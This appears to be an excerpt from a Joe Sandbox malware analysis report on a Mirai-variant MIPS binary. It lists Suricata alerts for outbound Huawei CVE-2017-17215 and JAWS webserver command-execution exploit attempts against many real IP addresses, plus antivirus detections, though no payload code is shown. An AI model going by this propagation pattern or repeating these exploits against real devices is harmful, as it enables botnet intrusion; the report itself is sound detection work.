2024-12-03T21:31:18.810549+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56792	156.94.69.180	37215	TCP
2024-12-03T21:31:18.810665+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41900	41.202.172.32	37215	TCP
2024-12-03T21:31:18.810771+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40050	197.196.154.98	37215	TCP
2024-12-03T21:31:18.810974+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53308	156.237.26.238	37215	TCP
2024-12-03T21:31:18.811175+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48780	156.134.15.209	37215	TCP
2024-12-03T21:31:18.815674+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59972	156.25.219.222	37215	TCP
2024-12-03T21:31:18.824877+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53386	41.102.71.232	37215	TCP
2024-12-03T21:31:18.825111+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49588	156.158.219.142	37215	TCP
2024-12-03T21:31:18.831258+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52804	197.72.25.200	37215	TCP
2024-12-03T21:31:18.840606+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33086	197.25.6.198	37215	TCP
2024-12-03T21:31:18.840619+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39674	156.90.215.158	37215	TCP
2024-12-03T21:31:18.856330+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36796	156.32.215.71	37215	TCP
2024-12-03T21:31:18.856460+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58510	41.246.246.62	37215	TCP
2024-12-03T21:31:18.856629+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56170	197.94.213.94	37215	TCP
2024-12-03T21:31:18.856813+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40298	156.252.187.200	37215	TCP
2024-12-03T21:31:18.856992+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58474	156.170.181.102	37215	TCP
2024-12-03T21:31:18.987680+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48622	41.235.28.90	37215	TCP
2024-12-03T21:31:19.003340+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42090	197.43.173.65	37215	TCP
2024-12-03T21:31:19.020239+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36794	197.122.32.82	37215	TCP
2024-12-03T21:31:19.034692+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43170	41.132.226.136	37215	TCP
2024-12-03T21:31:19.059756+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48516	197.77.8.60	37215	TCP
2024-12-03T21:31:19.059949+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52542	156.98.207.15	37215	TCP
2024-12-03T21:31:20.079714+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44086	156.65.71.38	37215	TCP
2024-12-03T21:31:20.144146+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50688	41.101.143.166	37215	TCP
2024-12-03T21:31:20.170411+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41444	41.190.33.163	37215	TCP
2024-12-03T21:31:20.176580+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50226	197.167.21.141	37215	TCP
2024-12-03T21:31:20.176660+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43920	41.29.102.55	37215	TCP
2024-12-03T21:31:20.184813+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48902	197.181.181.241	37215	TCP
2024-12-03T21:31:20.184820+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44486	156.192.136.240	37215	TCP
2024-12-03T21:31:20.184998+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55280	41.178.206.25	37215	TCP
2024-12-03T21:31:20.222145+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49166	156.218.152.89	37215	TCP
2024-12-03T21:31:20.231012+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45274	197.25.193.130	37215	TCP
2024-12-03T21:31:20.231459+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45728	197.41.63.23	37215	TCP
2024-12-03T21:31:20.231579+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49022	156.35.137.60	37215	TCP
2024-12-03T21:31:20.236089+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35070	156.243.0.98	37215	TCP
2024-12-03T21:31:20.262583+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55498	197.162.156.92	37215	TCP
2024-12-03T21:31:20.800208+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41104	197.174.39.138	37215	TCP
2024-12-03T21:31:20.815746+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49126	156.188.189.74	37215	TCP
2024-12-03T21:31:20.832698+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33714	41.9.12.137	37215	TCP
2024-12-03T21:31:20.832842+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38540	197.19.215.18	37215	TCP
2024-12-03T21:31:20.862756+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57708	41.69.219.95	37215	TCP
2024-12-03T21:31:20.878394+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34794	197.64.129.106	37215	TCP
2024-12-03T21:31:20.887485+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53774	197.176.24.172	37215	TCP
2024-12-03T21:31:20.894203+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46628	197.117.100.236	37215	TCP
2024-12-03T21:31:20.894228+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34656	156.131.1.254	37215	TCP
2024-12-03T21:31:20.894352+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39540	41.206.208.168	37215	TCP
2024-12-03T21:31:20.894593+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53264	197.140.216.5	37215	TCP
2024-12-03T21:31:20.894892+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33954	197.121.238.36	37215	TCP
2024-12-03T21:31:20.894906+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58304	156.170.78.130	37215	TCP
2024-12-03T21:31:20.895294+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56220	197.2.74.59	37215	TCP
2024-12-03T21:31:20.895303+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40818	41.175.127.159	37215	TCP
2024-12-03T21:31:20.903188+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39910	41.250.20.215	37215	TCP
2024-12-03T21:31:20.903189+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55140	156.156.205.112	37215	TCP
2024-12-03T21:31:20.903437+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37284	197.79.237.65	37215	TCP
2024-12-03T21:31:20.903670+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44710	41.47.217.131	37215	TCP
2024-12-03T21:31:20.903816+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34394	156.90.151.47	37215	TCP
2024-12-03T21:31:20.904090+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45932	156.189.217.172	37215	TCP
2024-12-03T21:31:20.904264+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45394	197.135.64.141	37215	TCP
2024-12-03T21:31:20.904369+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43124	197.236.149.18	37215	TCP
2024-12-03T21:31:20.904515+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40722	197.13.45.242	37215	TCP
2024-12-03T21:31:20.904627+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52592	197.236.0.227	37215	TCP
2024-12-03T21:31:20.909608+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53420	197.5.139.176	37215	TCP
2024-12-03T21:31:20.909787+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41456	197.84.102.240	37215	TCP
2024-12-03T21:31:20.910030+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48890	41.229.216.240	37215	TCP
2024-12-03T21:31:20.918980+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59398	41.72.79.133	37215	TCP
2024-12-03T21:31:20.925015+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35810	41.224.101.22	37215	TCP
2024-12-03T21:31:20.925414+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59758	197.181.234.198	37215	TCP
2024-12-03T21:31:20.925740+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49086	156.43.154.242	37215	TCP
2024-12-03T21:31:20.934492+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42844	41.223.158.155	37215	TCP
2024-12-03T21:31:20.934690+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55474	41.101.195.38	37215	TCP
2024-12-03T21:31:20.934836+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58156	41.218.4.159	37215	TCP
2024-12-03T21:31:20.935120+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52950	197.226.23.117	37215	TCP
2024-12-03T21:31:20.935304+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59932	41.158.40.36	37215	TCP
2024-12-03T21:31:20.935450+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41034	156.84.204.14	37215	TCP
2024-12-03T21:31:20.935655+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40490	197.204.217.111	37215	TCP
2024-12-03T21:31:20.935783+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43444	156.90.104.81	37215	TCP
2024-12-03T21:31:20.956345+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43170	41.194.214.146	37215	TCP
2024-12-03T21:31:20.965646+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34002	156.81.114.141	37215	TCP
2024-12-03T21:31:20.972004+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52844	41.53.3.14	37215	TCP
2024-12-03T21:31:20.981261+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50592	41.136.55.166	37215	TCP
2024-12-03T21:31:20.981266+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51328	197.87.10.204	37215	TCP
2024-12-03T21:31:20.981406+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38572	197.95.31.106	37215	TCP
2024-12-03T21:31:20.981490+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33604	41.237.198.60	37215	TCP
2024-12-03T21:31:20.981646+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39462	197.27.73.2	37215	TCP
2024-12-03T21:31:21.083385+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58718	41.71.32.244	37215	TCP
2024-12-03T21:31:21.083607+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35628	197.152.191.108	37215	TCP
2024-12-03T21:31:21.092907+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44480	41.88.176.204	37215	TCP
2024-12-03T21:31:21.106550+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52296	197.64.33.153	37215	TCP
2024-12-03T21:31:21.206479+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38324	197.76.52.95	37215	TCP
2024-12-03T21:31:21.221965+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51350	41.35.164.160	37215	TCP
2024-12-03T21:31:21.262582+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57780	41.167.61.205	37215	TCP
2024-12-03T21:31:21.278221+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33078	156.173.204.169	37215	TCP
2024-12-03T21:31:22.050182+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52476	41.163.75.88	37215	TCP
2024-12-03T21:31:22.108189+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55432	197.168.199.108	37215	TCP
2024-12-03T21:31:22.300278+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60982	197.61.169.38	37215	TCP
2024-12-03T21:31:22.347427+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35566	156.21.187.6	37215	TCP
2024-12-03T21:31:22.356480+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55006	156.28.145.105	37215	TCP
2024-12-03T21:31:22.356629+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33664	197.107.206.30	37215	TCP
2024-12-03T21:31:22.362586+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41428	156.95.251.157	37215	TCP
2024-12-03T21:31:22.378241+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33764	156.158.192.156	37215	TCP
2024-12-03T21:31:22.378540+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42980	41.148.217.25	37215	TCP
2024-12-03T21:31:22.387419+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35552	156.50.215.55	37215	TCP
2024-12-03T21:31:23.206626+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56452	197.147.77.116	37215	TCP
2024-12-03T21:31:23.221976+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47226	41.30.80.68	37215	TCP
2024-12-03T21:31:23.221995+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59140	41.86.26.27	37215	TCP
2024-12-03T21:31:23.222059+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36558	156.7.136.112	37215	TCP
2024-12-03T21:31:23.222233+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53580	41.112.2.239	37215	TCP
2024-12-03T21:31:23.222329+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48898	156.215.253.198	37215	TCP
2024-12-03T21:31:23.222435+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45270	41.154.197.82	37215	TCP
2024-12-03T21:31:23.223050+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35294	156.192.225.78	37215	TCP
2024-12-03T21:31:23.231382+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35576	156.160.179.123	37215	TCP
2024-12-03T21:31:23.231602+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51820	197.127.252.201	37215	TCP
2024-12-03T21:31:23.231615+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60562	156.150.99.35	37215	TCP
2024-12-03T21:31:23.237757+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57798	156.150.167.251	37215	TCP
2024-12-03T21:31:23.237859+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39348	41.172.21.112	37215	TCP
2024-12-03T21:31:23.246813+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60514	197.52.184.184	37215	TCP
2024-12-03T21:31:23.253245+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59584	41.198.92.43	37215	TCP
2024-12-03T21:31:23.253534+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59394	41.25.91.92	37215	TCP
2024-12-03T21:31:23.253575+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40224	156.135.47.223	37215	TCP
2024-12-03T21:31:23.262401+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33774	197.24.120.74	37215	TCP
2024-12-03T21:31:23.268826+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54768	41.193.45.79	37215	TCP
2024-12-03T21:31:23.278206+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56954	197.204.75.249	37215	TCP
2024-12-03T21:31:23.278242+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32918	197.79.188.89	37215	TCP
2024-12-03T21:31:23.278405+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56862	197.230.58.228	37215	TCP
2024-12-03T21:31:23.293670+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46902	197.113.75.212	37215	TCP
2024-12-03T21:31:23.293820+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42630	41.85.61.158	37215	TCP
2024-12-03T21:31:23.429946+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43788	41.209.7.36	37215	TCP
2024-12-03T21:31:23.440722+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51260	41.133.187.86	37215	TCP
2024-12-03T21:31:23.457627+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49648	197.140.112.173	37215	TCP
2024-12-03T21:31:23.472031+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35780	41.195.126.65	37215	TCP
2024-12-03T21:31:23.481264+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49808	41.181.192.186	37215	TCP
2024-12-03T21:31:23.481383+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34520	156.38.81.129	37215	TCP
2024-12-03T21:31:23.487490+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55030	41.140.142.132	37215	TCP
2024-12-03T21:31:23.512528+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46286	41.122.87.57	37215	TCP
2024-12-03T21:31:24.115171+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43014	41.123.180.178	37215	TCP
2024-12-03T21:31:24.129660+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45604	197.252.157.77	37215	TCP
2024-12-03T21:31:24.138293+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60768	197.136.186.240	37215	TCP
2024-12-03T21:31:24.138364+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56130	41.63.101.53	37215	TCP
2024-12-03T21:31:24.143710+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52262	41.149.233.132	37215	TCP
2024-12-03T21:31:24.154970+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46810	156.59.190.41	37215	TCP
2024-12-03T21:31:24.169014+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58218	41.153.231.202	37215	TCP
2024-12-03T21:31:24.169022+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40274	156.168.176.195	37215	TCP
2024-12-03T21:31:24.184218+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43138	197.147.208.232	37215	TCP
2024-12-03T21:31:24.292725+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33472	197.9.94.53	37215	TCP
2024-12-03T21:31:24.472640+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49292	41.233.126.183	37215	TCP
2024-12-03T21:31:24.472648+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48302	41.114.93.48	37215	TCP
2024-12-03T21:31:24.529274+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38916	41.149.3.160	37215	TCP
2024-12-03T21:31:24.535378+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57786	156.65.128.197	37215	TCP
2024-12-03T21:31:25.332203+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49936	41.44.164.186	37215	TCP
2024-12-03T21:31:25.346920+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46788	156.76.78.3	37215	TCP
2024-12-03T21:31:25.356382+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45294	41.115.91.32	37215	TCP
2024-12-03T21:31:25.378888+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53862	197.13.110.58	37215	TCP
2024-12-03T21:31:25.387485+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56376	197.97.225.166	37215	TCP
2024-12-03T21:31:25.425058+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36264	41.156.155.252	37215	TCP
2024-12-03T21:31:25.425072+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60760	197.154.197.209	37215	TCP
2024-12-03T21:31:25.425074+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49730	41.29.128.7	37215	TCP
2024-12-03T21:31:25.434403+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33430	41.173.237.210	37215	TCP
2024-12-03T21:31:25.534891+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36484	41.122.250.88	37215	TCP
2024-12-03T21:31:25.550224+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48282	156.165.251.145	37215	TCP
2024-12-03T21:31:25.566253+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45528	41.176.40.169	37215	TCP
2024-12-03T21:31:25.581789+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43974	156.248.58.85	37215	TCP
2024-12-03T21:31:25.606398+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41282	156.247.214.73	37215	TCP
2024-12-03T21:31:25.637552+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50214	156.217.0.72	37215	TCP
2024-12-03T21:31:25.643984+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55160	156.60.130.122	37215	TCP
2024-12-03T21:31:25.644258+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52874	41.229.23.229	37215	TCP
2024-12-03T21:31:25.653288+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60258	156.224.90.139	37215	TCP
2024-12-03T21:31:25.653391+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45132	197.21.175.213	37215	TCP
2024-12-03T21:31:25.653511+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43596	41.226.63.242	37215	TCP
2024-12-03T21:31:25.668958+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35340	197.233.82.135	37215	TCP
2024-12-03T21:31:25.684200+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49332	41.22.201.89	37215	TCP
2024-12-03T21:31:26.518988+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55548	197.34.236.85	37215	TCP
2024-12-03T21:31:26.528196+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33916	197.176.40.213	37215	TCP
2024-12-03T21:31:26.559480+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57038	197.217.234.110	37215	TCP
2024-12-03T21:31:26.565861+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37948	197.147.143.2	37215	TCP
2024-12-03T21:31:26.581435+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42864	41.234.103.194	37215	TCP
2024-12-03T21:31:26.613478+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46014	197.185.225.233	37215	TCP
2024-12-03T21:31:26.628481+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60096	197.217.107.211	37215	TCP
2024-12-03T21:31:26.628656+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41368	156.129.176.149	37215	TCP
2024-12-03T21:31:26.637632+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55630	156.202.174.88	37215	TCP
2024-12-03T21:31:26.653054+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52858	41.179.119.98	37215	TCP
2024-12-03T21:31:26.669198+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41668	156.155.97.90	37215	TCP
2024-12-03T21:31:26.684366+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47034	41.107.236.240	37215	TCP
2024-12-03T21:31:26.731604+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54324	41.219.117.183	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: mips.elf

ReversingLabs: Detection: 65%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47310 -> 183.236.75.193:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47310 -> 183.236.75.193:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48276 -> 149.30.241.216:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48276 -> 149.30.241.216:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50372 -> 197.9.55.89:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58476 -> 217.117.141.188:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58476 -> 217.117.141.188:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35490 -> 90.84.11.230:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35490 -> 90.84.11.230:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49972 -> 197.4.155.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42068 -> 156.240.21.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47406 -> 197.232.113.175:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39202 -> 197.97.142.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44292 -> 197.129.248.15:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52132 -> 197.130.81.175:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39598 -> 62.96.206.43:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39598 -> 62.96.206.43:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35042 -> 41.237.139.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59656 -> 41.58.197.71:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45608 -> 76.74.156.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45608 -> 76.74.156.165:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42018 -> 185.215.39.30:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42018 -> 185.215.39.30:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44184 -> 204.107.80.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44184 -> 204.107.80.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44740 -> 202.42.96.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44740 -> 202.42.96.98:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59584 -> 146.130.90.64:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59584 -> 146.130.90.64:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36806 -> 67.64.187.21:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36806 -> 67.64.187.21:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56878 -> 27.172.93.161:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56878 -> 27.172.93.161:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33108 -> 58.115.115.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33108 -> 58.115.115.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42942 -> 73.108.231.65:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42942 -> 73.108.231.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40332 -> 57.80.127.128:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59944 -> 81.68.222.43:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45660 -> 197.193.109.69:80
